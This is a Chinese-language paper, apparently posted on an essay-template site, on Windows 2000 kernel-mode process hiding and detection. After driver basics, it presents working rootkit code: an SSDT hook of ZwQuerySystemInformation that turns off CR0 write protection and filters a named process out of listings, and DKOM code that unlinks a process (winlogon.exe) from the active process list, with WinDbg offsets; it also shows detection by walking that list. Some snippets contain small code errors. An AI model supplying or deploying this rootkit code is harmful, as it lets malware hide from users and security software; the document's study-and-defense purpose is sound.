前言:本站為你精心整理了內(nèi)核級進(jìn)程技術(shù)范文,希望能為你的創(chuàng)作提供參考價(jià)值,我們的客服老師可以幫助你提供個(gè)性化的參考范文,歡迎咨詢。
論文關(guān)鍵字:內(nèi)核攔截活動(dòng)進(jìn)程鏈表系統(tǒng)服務(wù)派遣表線程調(diào)度鏈驅(qū)動(dòng)程序簡介
論文摘要:信息對抗是目前計(jì)算機(jī)發(fā)展的一個(gè)重要的方向,為了更好的防御,必須去深入的了解敵人進(jìn)攻的招式。信息對抗促使信息技術(shù)飛速的發(fā)展。下面我選取了信息對抗技術(shù)的中一個(gè)很小一角關(guān)于windows內(nèi)核級病毒隱藏技術(shù)和反病毒偵測技術(shù)作為議題詳細(xì)討論。
1.為什么選驅(qū)動(dòng)程序
驅(qū)動(dòng)程序是運(yùn)行在系統(tǒng)信任的Ring0環(huán)境下在代碼,她擁有對系統(tǒng)任何軟件和硬件的訪問權(quán)限。這意味著內(nèi)核驅(qū)動(dòng)可以訪問所有的系統(tǒng)資源,可以讀取所有的內(nèi)存空間,而且也被允許執(zhí)行CPU的特權(quán)指令,如,讀取CPU控制寄存器的當(dāng)前值等。而處于用戶模式下的程序如果試圖從內(nèi)核空間中讀取一個(gè)字節(jié)或者試圖執(zhí)行像MOVEAX,CR3這樣的匯編指令都會(huì)被立即終止掉。不過,這種強(qiáng)大的底線是驅(qū)動(dòng)程序的一個(gè)很小的錯(cuò)誤就會(huì)讓整個(gè)系統(tǒng)崩潰。所以對隱藏和反隱藏技術(shù)來說都提供了一個(gè)極好的環(huán)境。但是又對攻擊者和反查殺者提出了更高的技術(shù)要求。
2.入口例程DriverEntry
DriverEntry是內(nèi)核模式驅(qū)動(dòng)程序主入口點(diǎn)常用的名字,她的作用和main,WinMain,是一樣的。
extern"C"NTSTATUSDriverEntry(INPDRIVER_OBJECTDriverObject,INPUNICODE_STRINGRegistryPath)
{...}
DriverEntry的第一個(gè)參數(shù)是一個(gè)指針,指向一個(gè)剛被初始化的驅(qū)動(dòng)程序?qū)ο螅搶ο缶痛砟愕尿?qū)動(dòng)程序,DriverEntry的第二個(gè)參數(shù)是設(shè)備服務(wù)鍵的鍵名。DriverEntry函數(shù)返回一個(gè)NTSTATUS值。NTSTATUS實(shí)際就是一個(gè)長整型,但你應(yīng)該使用NTSTATUS定義該函數(shù)的返回值而不是LONG,這樣代碼的可讀性會(huì)更好。大部分內(nèi)核模式支持例程都返回NTSTATUS狀態(tài)代碼,你可以在DDK頭文件NTSTATUS.H中找到NTSTATUS的代碼列表。
DriverEntry的作用主要就是創(chuàng)建設(shè)備對象,建立設(shè)備對象的符號鏈接,設(shè)置好各個(gè)類型的回調(diào)函數(shù)等。
例如:
extern"C"
NTSTATUS
DriverEntry(INPDRIVER_OBJECTDriverObject,INPUNICODE_STRINGRegistryPath)
{
DriverObject->DriverUnload=DriverUnload;<--1
DriverObject->DriverExtension->AddDevice=AddDevice;
DriverObject->DriverStartIo=StartIo;
DriverObject->MajorFunction[IRP_MJ_PNP]=DispatchPnp;<--2
DriverObject->MajorFunction[IRP_MJ_POWER]=DispatchPower;
DriverObject->MajorFunction[IRP_MJ_SYSTEM_CONTROL]=DispatchWmi;
...
}
在WDM中通過設(shè)置AddDevice回調(diào)函數(shù)來創(chuàng)建設(shè)備對象。在NT驅(qū)動(dòng)中在DriverEntry例程中創(chuàng)建設(shè)備對象和符號鏈接。
例如:
RtlInitUnicodeString(&deviceNameUnicodeString,deviceNameBuffer);//初始化設(shè)備名字
//創(chuàng)建設(shè)備
ntStatus=IoCreateDevice(DriverObject,
0,
&deviceNameUnicodeString,
##DeviceId,
0,
FALSE,
&deviceObject
);
if(NT_SUCCESS(ntStatus)){
RtlInitUnicodeString(&deviceLinkUnicodeString,deviceLinkBuffer);//初始化符號鏈接名字
//創(chuàng)建符號鏈接
ntStatus=IoCreateSymbolicLink(&deviceLinkUnicodeString,&deviceNameUnicodeString);
if(!NT_SUCCESS(ntStatus)){
IoDeleteDevice(deviceObject);//如果創(chuàng)建符號鏈接失敗,刪除設(shè)備
returnntStatus;
}
}
建立符號鏈接的作用就是暴露一個(gè)給應(yīng)用程序的接口,應(yīng)用程序可以通過CreateFileAPI打開鏈接符號,得到一個(gè)語柄,和我們的驅(qū)動(dòng)程序進(jìn)行交互操作。
3.Unload例程
雖然各個(gè)驅(qū)動(dòng)程序的Unload例程不盡相同,但是它大致執(zhí)行下列工作:
釋放屬于驅(qū)動(dòng)程序的任何硬件。
從Win32的名字空間移除符號連接名。
這個(gè)動(dòng)作可以調(diào)用IoDeleteSymbolicLink來實(shí)現(xiàn)。
使用IoDeleteDevice移除設(shè)備對象。
釋放驅(qū)動(dòng)程序持有的任何緩沖池等。
VOIDDriverUnload(INPDRIVER_OBJECTpDriverObject)
{
PDEVICE_OBJECTpNextObj;
//循環(huán)每一個(gè)驅(qū)動(dòng)過程控制的設(shè)備
pNextObj=pDriverObject->DeviceObject;
while(pNextObj!=NULL)
{
//從設(shè)備對象中取出設(shè)備Extension
PDEVICE_EXTENSIONpDevExt=(PDEVICE_EXTENSION)extObj->DeviceExtension;
//取出符號連接名
UNICODE_STRINGpLinkName=pDevExt->ustrSymLinkName;
IoDeleteSymbolicLink(&pLinkName);//刪除符號連接名
IoDeleteDevice(pNextObj);//刪除設(shè)備
pNextObj=pNextObj->NextDevice;
}
}
4.派遣例程
Win2000的I/O請求是包驅(qū)動(dòng)的,當(dāng)一個(gè)I/O請求開始,I/O管理器先創(chuàng)建一個(gè)IRP去跟蹤這個(gè)請求,另外,它存儲(chǔ)一個(gè)功能代碼在IRP的I/O堆棧區(qū)的MajorField域中來唯一的標(biāo)識請求的類型。MajorField域是被I/O管理器用來索引驅(qū)動(dòng)程序?qū)ο蟮腗ajorFunction表,這個(gè)表包含一個(gè)指向一個(gè)特殊I/O請求的派遣例程的功能指針,如果驅(qū)動(dòng)程序不支持這個(gè)請求,MajorFunction表就會(huì)指向I/O管理器函數(shù)_IopInvalidDeviceRequest,該函數(shù)返回一個(gè)錯(cuò)誤給原始的調(diào)用者。驅(qū)動(dòng)程序的作者有責(zé)任提供所有的驅(qū)動(dòng)程序支持的派遣例程。所有的驅(qū)動(dòng)程序必須支持IRP_MJ_CREATE功能代碼,因?yàn)檫@個(gè)功能代碼是用來響應(yīng)Win32用戶模式的CreateFile調(diào)用,如果不支持這功能代碼,Win32程序就沒有辦法獲得設(shè)備的句柄,類似的,驅(qū)動(dòng)程序必須支持IRP_MJ_CLOSE功能代碼,因?yàn)樗脕眄憫?yīng)Win32用戶模式的CloseHandle調(diào)用。順便提一下,系統(tǒng)自動(dòng)調(diào)用CloseHandle函數(shù),因?yàn)樵诔绦蛲顺龅臅r(shí)候,所有的句柄都沒有被關(guān)閉。
staticNTSTATUSMydrvDispatch(INPDEVICE_OBJECTDeviceObject,INPIRPIrp)
{
NTSTATUSstatus;
PIO_STACK_LOCATIONirpSp;
//得到當(dāng)前IRP(I/O請求包)
irpSp=IoGetCurrentIrpStackLocation(Irp);
switch(irpSp->MajorFunction)
{
caseIRP_MJ_CREATE:
DbgPrint("IRP_MJ_CREATE\n");
Irp->IoStatus.Status=STATUS_SUCCESS;
Irp->IoStatus.Information=0L;
break;
caseIRP_MJ_CLOSE:
DbgPrint("IRP_MJ_CLOSE\n");
Irp->IoStatus.Status=STATUS_SUCCESS;
Irp->IoStatus.Information=0L;
break;
}
IoCompleteRequest(Irp,0);
returnSTATUS_SUCCESS;
}
大部分的I/O管理器的操作支持一個(gè)標(biāo)準(zhǔn)的讀寫提取,IRP_MJ_DEVICE_CONTROL允許擴(kuò)展的I/O請求,使用用戶模式的DeviceIoControl函數(shù)來調(diào)用,I/O管理器創(chuàng)建一個(gè)IRP,這個(gè)IRP的MajorFunction和IoControlCode是被DeviceIoControl函數(shù)指定其內(nèi)容。傳遞給驅(qū)動(dòng)程序的IOCTL遵循一個(gè)特殊的結(jié)構(gòu),它有32-bit大小,DDK包含一個(gè)方便的產(chǎn)生IOCTL值的機(jī)制的宏,CTL_CODE??梢允褂肅TL_CODE宏來定義我們自己的IOCTL。
例如:
#defineIOCTL_MISSLEDEVICE_AIMCTL_CODE\
(FILE_DEVICE_UNKNOWN,0x801,METHOD_BUFFERED,FILE_ACCESS_ANY)
NTSTATUSDispatchIoControl(INPDEVICE_OBJECTpDO,INPIRPpIrp)
{
NTSTATUSstatus=STATUS_SUCCESS;
PDEVICE_EXTENSIONpDE;
PVOIDuserBuffer;
ULONGinSize;
ULONGoutSize;
ULONGcontrolCode;//IOCTL請求代碼
PIO_STACK_LOCATIONpIrpStack;//堆棧區(qū)域存儲(chǔ)了用戶緩沖區(qū)信息
pIrpStack=IoGetCurrentIrpStackLocation(pIrp);
//取出IOCTL請求代碼
controlCode=pIrpStack->Parameters.DeviceIoControl.IoControlCode;
//得到請求緩沖區(qū)大小
inSize=pIrpStack->Parameters.DeviceIoControl.InputBufferLength;
OutSize=pIrpStack->Parameters.DeivceIoControl.OutputBufferLength;
//現(xiàn)在執(zhí)行二次派遣
switch(controlCode)
{
caseIOCTL_MISSLEDEVICEAIM:
......
caseIOCTL_DEVICE_LAUNCH:
......
default://驅(qū)動(dòng)程序收到了未被承認(rèn)的控制代碼
status=STATUS_INVALID_DEVICE_REQUEST;
}
pIrp->IoStatus.Information=0;//數(shù)據(jù)沒有傳輸
IoCompleteRequest(pIrp,IO_NO_INCREMENT);
returnstatus;
}
5.驅(qū)動(dòng)程序的安裝
SC管理器(即服務(wù)控制管理器)可以控制服務(wù)和驅(qū)動(dòng)程序。
加載和運(yùn)行一個(gè)服務(wù)需要執(zhí)行的典型操作步驟:
1.調(diào)用OpenSCManager()以獲取一個(gè)管理器句柄
2.調(diào)用CreateService()來向系統(tǒng)中添加一個(gè)服務(wù)
3.調(diào)用StartService()來運(yùn)行一個(gè)服務(wù)
4.調(diào)用CloseServiceHandle()來釋放管理器或服務(wù)句柄
BOOLInstallDriver()
{
SC_HANDLEhSCManager=NULL;
hSCManager=OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
if(hSCManager==NULL)
{
fprintf(stderr,"OpenSCManager()failed.--err:%d\n",GetLastError());
returnFALSE;
}
SC_HANDLEschService;
schService=CreateService(hSCManager,//SCManagerdatabase
"MyDriver",//nameofservice
"MyDriver",//nametodisplay
SERVICE_ALL_ACCESS,//desiredaccess
SERVICE_KERNEL_DRIVER,//servicetype
SERVICE_AUTO_START,//starttype
SERVICE_ERROR_NORMAL,//errorcontroltype
DriverPath,//service’sbinary
NULL,//noloadorderinggroup
NULL,//notagidentifier
NULL,//nodependencies
NULL,//LocalSystemaccount
NULL//nopassword
);
if(schService==NULL)
{
if(GetLastError()==ERROR_SERVICE_EXISTS)
{
printf("Servicehasalreadyinstalled!\n");
}
printf("Installdriverfalse!");
returnFALSE;
}
BOOLnRet=StartService(schService,0,NULL);
if(!nRet)
{
if(GetLastError()==ERROR_SERVICE_ALREADY_RUNNING)
{
printf("Serviceisalreadyrunning!\n");
returnFALSE;}
}
CloseServiceHandle(schService);
CloseServiceHandle(hSCManager);
returnTRUE;
}
以上對驅(qū)動(dòng)程序大致框架做了一個(gè)非常簡單的介紹,這僅僅是驅(qū)動(dòng)程序中的一個(gè)”HelloWorld!”。驅(qū)動(dòng)程序是相當(dāng)復(fù)雜的,由于我們只是利用驅(qū)動(dòng)程序的特權(quán),對windows內(nèi)核進(jìn)行修改,所以就不對驅(qū)動(dòng)驅(qū)動(dòng)程序進(jìn)行深入討論了。
通過HookSSDT(SystemServiceDispathTable)隱藏進(jìn)程
1.原理介紹:
Windows操作系統(tǒng)是一種分層的架構(gòu)體系。應(yīng)用層的程序是通過API來訪問操作系統(tǒng)。而API又是通過ntdll里面的核心API來進(jìn)行系統(tǒng)服務(wù)的查詢。核心API通過對int2e的切換,從用戶模式轉(zhuǎn)換到內(nèi)核模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個(gè)函數(shù)KiSystemService()來實(shí)現(xiàn)的。在你使用了一個(gè)系統(tǒng)調(diào)用時(shí),必須首先裝載要調(diào)用的函數(shù)索引號到EAX寄存器中。把指向參數(shù)區(qū)的指針被保存在EDX寄存器中。中斷調(diào)用后,EAX寄存器保存了返回的結(jié)果。KiSystemService()是根據(jù)EAX的值來決定哪個(gè)函數(shù)將被調(diào)用。而系統(tǒng)在SSDT中維持了一個(gè)數(shù)組,專門用來索引特定的函數(shù)服務(wù)地址。在Windows2000中有一個(gè)未公開的由ntoskrnl.exe導(dǎo)出的KeServiceDescriptorTable變量,我們可以通過它來完成對SSDT的訪問與修改。KeServiceDescriptorTable對應(yīng)于一個(gè)數(shù)據(jù)結(jié)構(gòu),定義如下:
typedefstructSystemServiceDescriptorTable
{
UINT*ServiceTableBase;
UINT*ServiceCounterTableBase;
UINTNumberOfService;
UCHAR*ParameterTableBase;
}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;
其中ServiceTableBase指向系統(tǒng)服務(wù)程序的地址(SSDT),ParameterTableBase則指向SSPT中的參數(shù)地址,它們都包含了NumberOfService這么多個(gè)數(shù)組單元。在windows2000sp4中NumberOfService的數(shù)目是248個(gè)。
我們的任務(wù)管理器,是通過用戶層的API來枚舉當(dāng)前的進(jìn)程的。Ring3級枚舉的方法:
•PSAPI
–EnumProcesses()
•ToolHelp32
–Process32First()
-Process32Next()
來對進(jìn)程進(jìn)行枚舉。而她們最后都是通過NtQuerySystemInformation來進(jìn)行查詢的。所以我們只需要Hook掉NtQuerySystemInformation,把真實(shí)NtQuerySystemInformation返回的數(shù)進(jìn)行添加或者是刪改,就能有效的欺騙上層API。從而達(dá)到隱藏特定進(jìn)程的目的。
2.Hook
Windows2000中NtQuerySystemInformation在SSDT里面的索引號是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個(gè)DWORD類型的讀出來保存一個(gè)全局變量中然后再把她重新賦值成一個(gè)新的Hook函數(shù)的地址,就完成了Hook。
OldFuncAddress=KeServiceDescriptorTable->ServiceCounterTableBase[0x97];
KeServiceDescriptorTable->ServiceCounterTableBase[0x97]=NewFuncAddress;
在其他系統(tǒng)中這個(gè)號就不一定一樣。所以必須找一種通用的辦法來得到這個(gè)索引號。在《UndocumentNt》中介紹了一種辦法可以解決這個(gè)通用問題,從未有效的避免了使用硬編碼。在ntoskrnl導(dǎo)出的ZwQuerySystemInformation中包含有索引號的硬編碼:
kd>uZwQuerySystemInformation
804011aab897000000moveax,0x97
804011af8d542404leaedx,[esp+0x4]
804011b3cd2eint2e
804011b5c21000ret0x10
所以只需要把ZwQuerySystemInformation入口處的第二個(gè)字節(jié)取出來就能得到相應(yīng)的索引號了。例如:
ID=*(PULONG)((PUCHAR)ZwQuerySystemInformation+1);
RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]=HookZwQuerySystemInformation;
3.對NtQuerySystemInformation返回的數(shù)據(jù)進(jìn)行刪改
NtQuerySystemInformation的原型:
NtQuerySystemInformation(
INULONGSystemInformationClass,//查詢系統(tǒng)服務(wù)類型
INPVOIDSystemInformation,//接收系統(tǒng)信息緩沖區(qū)
INULONGSystemInformationLength,//接收信息緩沖區(qū)大小OUTPULONGReturnLength);//實(shí)際接收到的大小
NtQuerySystemInformation可以對系統(tǒng)的很多狀態(tài)進(jìn)行查詢,不僅僅是對進(jìn)程的查詢,通過SystemInformationClass號來區(qū)分功能,當(dāng)SystemInformationClass等于5的時(shí)候是在進(jìn)行進(jìn)程的查詢。此時(shí)返回的SystemInformation是一個(gè)_SYSTEM_PROCESSES結(jié)構(gòu)。
struct_SYSTEM_PROCESSES
{
ULONGNextEntryDelta;//下一個(gè)進(jìn)程信息的偏移量,如果為0表示無一個(gè)進(jìn)程信息
ULONGThreadCount;//線程數(shù)量
ULONGReserved[6];//
LARGE_INTEGERCreateTime;//創(chuàng)建進(jìn)程的時(shí)間
LARGE_INTEGERUserTime;//進(jìn)程中所有線程在用戶模式運(yùn)行時(shí)間的總和
LARGE_INTEGERKernelTime;//進(jìn)程中所有線程在內(nèi)核模式運(yùn)行時(shí)間的總和
UNICODE_STRINGProcessName;//進(jìn)程的名字
KPRIORITYBasePriority;//線程的缺省優(yōu)先級
ULONGProcessId;//進(jìn)程ID號
ULONGInheritedFromProcessId;//繼承語柄的進(jìn)程ID號
ULONGHandleCount;//進(jìn)程打開的語柄數(shù)量
ULONGReserved2[2];//
VM_COUNTERSVmCounters;//虛擬內(nèi)存的使用情況統(tǒng)計(jì)
IO_COUNTERSIoCounters;//IO操作的統(tǒng)計(jì),OnlyFor2000
struct_SYSTEM_THREADSThreads[1];//描述進(jìn)程中各線程的數(shù)組
};
當(dāng)NextEntryDelta域等于0時(shí)表示已經(jīng)到了進(jìn)程信息鏈的末尾。我們要做的僅僅是把要隱藏的進(jìn)程從鏈中刪除。
4.核心實(shí)現(xiàn)
//系統(tǒng)服務(wù)表入口地址
externPServiceDescriptorTableEntryKeServiceDescriptorTable;
NTSTATUSDriverEntry(INPDRIVER_OBJECTDriverObject,INPUNICODE_STRINGRegistryPath)
{
……
__asm{
moveax,cr0
movCR0VALUE,eax
andeax,0fffeffffh//DisableWriteProtect
movcr0,eax
}
//取得原來ZwQuerySystemInformation的入口地址
RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]);
//Hook
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;
//EnableWriteProtect
__asm
{
moveax,CR0VALUE
movcr0,eax
}
……
returnSTATUS_SUCCESS;
}
VOIDDriverUnload(INPDRIVER_OBJECTpDriverObject)
{
……
//UnHook恢復(fù)系統(tǒng)服務(wù)的原始入口地址
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=RealZwQuerySystemInformation;
……
}
NTSTATUSHookFunc(
INULONGSystemInformationClass,
INPVOIDSystemInformation,
INULONGSystemInformationLength,
OUTPULONGReturnLength)
{
NTSTATUSrc;
struct_SYSTEM_PROCESSES*curr;
//保存上一個(gè)進(jìn)程信息的指針
struct_SYSTEM_PROCESSES*prev=NULL;
//調(diào)用原函數(shù)
rc=(RealZwQuerySystemInformation)(
SystemInformationClass,
SystemInformation,
SystemInformationLength,ReturnLength);
if(NT_SUCCESS(rc))
{
if(5==SystemInformationClass)
//如果系統(tǒng)查詢類型是SystemProcessesAndThreadsInformation
{
curr=(struct_SYSTEM_PROCESSES*)SystemInformation;
//加第一個(gè)偏移量得到第一個(gè)system進(jìn)程的信息首地址
if(curr->NextEntryDelta)((char*)curr+=curr->NextEntryDelta);
while(curr)
{
if(RtlCompareUnicodeString(&hide_process_name,&curr->ProcessName,1)==0)
{
//找到要隱藏的進(jìn)程
if(prev)
{
if(curr->NextEntryDelta)
{
//要?jiǎng)h除的信息在中間
prev->NextEntryDelta+=curr->NextEntryDelta;
}
else
{
//要?jiǎng)h除的信息在末尾
prev->NextEntryDelta=0;
}
}
else
{
if(curr->NextEntryDelta)
{
//要?jiǎng)h除的信息在開頭
(char*)SystemInformation+=curr->NextEntryDelta;
}
else
{
SystemInformation=NULL;
}
}
//如果鏈下一個(gè)還有其他的進(jìn)程信息,指針往后移
if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta);else
{
curr=NULL;
break;
}
}
if(curr!=NULL)
{
//把當(dāng)前指針設(shè)置成前一個(gè)指針,當(dāng)前指針后移
prev=curr;
if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta);
elsecurr=NULL;
}
}//endwhile(curr)
}
}
returnrc;
}
通過IOCTL和Ring3級的應(yīng)用程序通過DeviceIoControl(API)交互信息。Ring3級的用戶程序使用,
DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,
NULL,0,&BytesReturned,NULL)來通知驅(qū)動(dòng)程序要隱藏的進(jìn)程的名字。
枚舉和修改活動(dòng)進(jìn)程鏈表來檢測和隱藏進(jìn)程
1.介紹EPROCESS塊(進(jìn)程執(zhí)行塊)
每個(gè)進(jìn)程都由一個(gè)EPROCESS塊來表示。EPROCESS塊中不僅包含了進(jìn)程相關(guān)了很多信息,還有很多指向其他相關(guān)結(jié)構(gòu)數(shù)據(jù)結(jié)構(gòu)的指針。例如每一個(gè)進(jìn)程里面都至少有一個(gè)ETHREAD塊表示的線程。進(jìn)程的名字,和在用戶空間的PEB(進(jìn)程環(huán)境)塊等等。EPROCESS中除了PEB成員塊在是用戶空間,其他都是在系統(tǒng)空間中的。
2.查看EPROCESS結(jié)構(gòu)
kd>!processfields
!processfields
EPROCESSstructureoffsets:
Pcb:0x0
ExitStatus:0x6c
LockEvent:0x70
LockCount:0x80
CreateTime:0x88
ExitTime:0x90
LockOwner:0x98
UniqueProcessId:0x9c
ActiveProcessLinks:0xa0
QuotaPeakPoolUsage[0]:0xa8
QuotaPoolUsage[0]:0xb0
PagefileUsage:0xb8
CommitCharge:0xbc
PeakPagefileUsage:0xc0
PeakVirtualSize:0xc4
VirtualSize:0xc8
Vm:0xd0
DebugPort:0x120
ExceptionPort:0x124
ObjectTable:0x128
Token:0x12c
WorkingSetLock:0x130
WorkingSetPage:0x150
ProcessOutswapEnabled:0x154
ProcessOutswapped:0x155
AddressSpaceInitialized:0x156
AddressSpaceDeleted:0x157
AddressCreationLock:0x158
ForkInProgress:0x17c
VmOperation:0x180
VmOperationEvent:0x184
PageDirectoryPte:0x1f0
LastFaultCount:0x18c
VadRoot:0x194
VadHint:0x198
CloneRoot:0x19c
NumberOfPrivatePages:0x1a0
NumberOfLockedPages:0x1a4
ForkWasSuccessful:0x182
ExitProcessCalled:0x1aa
CreateProcessReported:0x1ab
SectionHandle:0x1ac
Peb:0x1b0
SectionBaseAddress:0x1b4
QuotaBlock:0x1b8
LastThreadExitStatus:0x1bc
WorkingSetWatch:0x1c0
InheritedFromUniqueProcessId:0x1c8
GrantedAccess:0x1cc
DefaultHardErrorProcessing0x1d0
LdtInformation:0x1d4
VadFreeHint:0x1d8
VdmObjects:0x1dc
DeviceMap:0x1e0
ImageFileName[0]:0x1fc
VmTrimFaultValue:0x20c
Win32Process:0x214
Win32WindowStation:0x1c4
3.什么是活動(dòng)進(jìn)程鏈表
EPROCESS塊中有一個(gè)ActiveProcessLinks成員,它是一個(gè)PLIST_ENTRY機(jī)構(gòu)的雙向鏈表。當(dāng)一個(gè)新進(jìn)程建立的時(shí)候父進(jìn)程負(fù)責(zé)完成EPROCESS塊,然后把ActiveProcessLinks鏈接到一個(gè)全局內(nèi)核變量PsActiveProcessHead鏈表中。在PspCreateProcess內(nèi)核API中能清晰的找到:
InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);
當(dāng)進(jìn)程結(jié)束的時(shí)候,該進(jìn)程的EPROCESS結(jié)構(gòu)當(dāng)從活動(dòng)進(jìn)程鏈上摘除。(但是EPROCESS結(jié)構(gòu)不一定就馬上釋放)。
在PspExitProcess內(nèi)核API中能清晰的找到:
RemoveEntryList(&Process->ActiveProcessLinks);
所以我們完全可以利用活動(dòng)進(jìn)程鏈表來對進(jìn)程進(jìn)行枚舉。
4.進(jìn)程枚舉檢測HookSSDT隱藏的進(jìn)程。
事實(shí)上NactiveAPIZwQuerySystemInformation對進(jìn)程查詢也是找到活動(dòng)進(jìn)程鏈表頭,然后遍歷活動(dòng)進(jìn)程鏈。最后把每一個(gè)EPROCESS中包含的基本信息返回(包括進(jìn)程ID名字等)。所以用遍歷活動(dòng)進(jìn)程鏈表的辦法能有效的把HookSSDT進(jìn)行隱藏的進(jìn)程輕而易舉的查出來。但是PsActiveProcessHead并沒被ntoskrnl.exe導(dǎo)出來,所以我們可以利用硬編碼的辦法,來解決這個(gè)問題。利用內(nèi)核調(diào)試器livekd查得PsActiveProcessHead的地址為:0x8046e460.(在2000sp4中得到的值)
kd>ddPsActiveProcessHeadL2
ddPsActiveProcessHeadL2
8046e46081829780ff2f4c80
PLIST_ENTRYPsActiveProcessHead=(PLIST_ENTRY)0x8046e460;
voidDisplayList()
{
PLIST_ENTRYList=PsActiveProcessHead->Blink;
while(List!=PsActiveProcessHead)
{
char*name=((char*)List-0xa0)+0x1fc;
DbgPrint("name=%s\n",name);
List=List->Blink;
}
}
首先把List指向表頭后的第一個(gè)元素。然后減去0xa0,因?yàn)檫@個(gè)時(shí)候List指向的并不是EPROCESS塊的頭,而是指向的它的ActiveProcessLinks成員結(jié)構(gòu),而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要減去這么多,得到EPROCESS的頭部。在EPROCESS偏移0x1fc處是進(jìn)程的名字信息,所以再加上0x1fc得到進(jìn)程名字,并且在Dbgview中打印出來。利用HookSSDT隱藏的進(jìn)程很容易就被查出來了。
5.解決硬編碼問題。
在上面我們的PsActiveProcessHead是通過硬編碼的形式得到的,在不同的系統(tǒng)中這值不一樣。在不同的SP版本中這個(gè)值一般也不一樣。這就給程序的通用性帶來了很大的問題。下面就來解決這個(gè)PsActiveProcessHead的硬編碼的問題。
ntoskrnl.exe導(dǎo)出的PsInitialSystemProcess是一個(gè)指向system進(jìn)程的EPROCESS。這個(gè)結(jié)構(gòu)成員EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的.
kd>ddPsInitialSystemProcessL1
ddPsInitialSystemProcessL1
8046e450818296e0
kd>!process818296e00
!process818296e00
PROCESS818296e0SessionId:0Cid:0008Peb:00000000ParentCid:0000
DirBase:00030000ObjectTable:8185d148TableSize:141.
Image:System
可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS.
kd>dd818296e0+0xa0L2
dd818296e0+0xa0L2
81829780814d1a008046e460
上面又可以看出SystemEPROCESS的ActiveProcessLinks域的Blink指向8046e460正好就是我們的PsActiveProcessHead.
6.刪除活動(dòng)進(jìn)程鏈表實(shí)現(xiàn)進(jìn)程隱藏
由于Windows是基于線程調(diào)度的。所以如果我們把要隱藏的進(jìn)程的EPROCESS塊從活動(dòng)進(jìn)程鏈上摘除,就能有效的繞過基于通過活動(dòng)進(jìn)程鏈表檢測進(jìn)程的防御系統(tǒng)。因?yàn)槭且跃€程為基本單位進(jìn)行調(diào)度,所以摘除過后并不影響隱藏進(jìn)程的線程調(diào)度。
voidDelProcessList()
{
PLIST_ENTRYList=PsActiveProcessHead->Blink;
while(List!=PsActiveProcessHead)
{
char*name=((char*)List-0xa0)+0x1fc;
if(!_stricmp(name,"winlogon.exe"))
{
DbgPrint("remove%s\n",name);
RemoveEntryList(List);
}
List=List->Blink;
}
}
首先和上面的程序一樣得到PsActiveProcessHead頭的后面第一個(gè)EPROCESS塊。然后和我們要隱藏的進(jìn)程名字進(jìn)行對比,如果不是指針延鏈下移動(dòng)。如果是就把EPROCESS塊從活動(dòng)進(jìn)程鏈上摘除。一直到遍歷完一次活動(dòng)進(jìn)程的雙向鏈表。當(dāng)摘除指定進(jìn)程的EPROCESS塊后可以發(fā)現(xiàn)任務(wù)管理器里面的指定的進(jìn)程消失了,然后又用上面的基于活動(dòng)進(jìn)程鏈表檢測進(jìn)程的程序一樣的發(fā)現(xiàn)不到隱藏的進(jìn)程。
基于線程調(diào)度鏈表的檢測和隱藏技術(shù)
1.什么是ETHREAD和KTHREAD塊
Windows2000是由執(zhí)行程序線程(ETHREAD)塊表示的,ETHREAD成員都是指向的系統(tǒng)空間,進(jìn)程環(huán)境塊(TEB)除外。ETHREAD塊中的第一個(gè)結(jié)構(gòu)體就是內(nèi)核線程(KTHREAD)塊。在KTHREAD塊中包含了windows2000內(nèi)核需要訪問的信息。這些信息用于執(zhí)行線程的調(diào)度和同步正在運(yùn)行的線程。
kd>!kthread
struct_KTHREAD(sizeof=432)
+000struct_DISPATCHER_HEADERHeader
+010struct_LIST_ENTRYMutantListHead
+018void*InitialStack
+01cvoid*StackLimit
+020void*Teb
+024void*TlsArray
+028void*KernelStack
+02cbyteDebugActive
+02dbyteState
+02ebyteAlerted[2]
+030byteIopl
+031byteNpxState
+032charSaturation
+033charPriority
+034struct_KAPC_STATEApcState
+034struct_LIST_ENTRYApcListHead[2]
+044struct_KPROCESS*Process
+04cuint32ContextSwitches
+050int32WaitStatus
+054byteWaitIrql
+055charWaitMode
+056byteWaitNext
+057byteWaitReason
+058struct_KWAIT_BLOCK*WaitBlockList
+05cstruct_LIST_ENTRYWaitListEntry
+064uint32WaitTime
+068charBasePriority
+069byteDecrementCount
+06acharPriorityDecrement
+06bcharQuantum
+06cstruct_KWAIT_BLOCKWaitBlock[4]
+0ccvoid*LegoData
+0d0uint32KernelApcDisable
+0d4uint32UserAffinity
+0d8byteSystemAffinityActive
+0d9bytePowerState
+0dabyteNpxIrql
+0dbbytePad[1]
+0dcvoid*ServiceTable
+0e0struct_KQUEUE*Queue
+0e4uint32ApcQueueLock
+0e8struct_KTIMERTimer
+110struct_LIST_ENTRYQueueListEntry
+118uint32Affinity
+11cbytePreempted
+11dbyteProcessReadyQueue
+11ebyteKernelStackResident
+11fbyteNextProcessor
+120void*CallbackStack
+124void*Win32Thread
+128struct_KTRAP_FRAME*TrapFrame
+12cstruct_KAPC_STATE*ApcStatePointer[2]
+134charPreviousMode
+135byteEnableStackSwap
+136byteLargeStack
+137byteResourceIndex
+138uint32KernelTime
+13cuint32UserTime
+140struct_KAPC_STATESavedApcState
+158byteAlertable
+159byteApcStateIndex
+15abyteApcQueueable
+15bbyteAutoAlignment
+15cvoid*StackBase
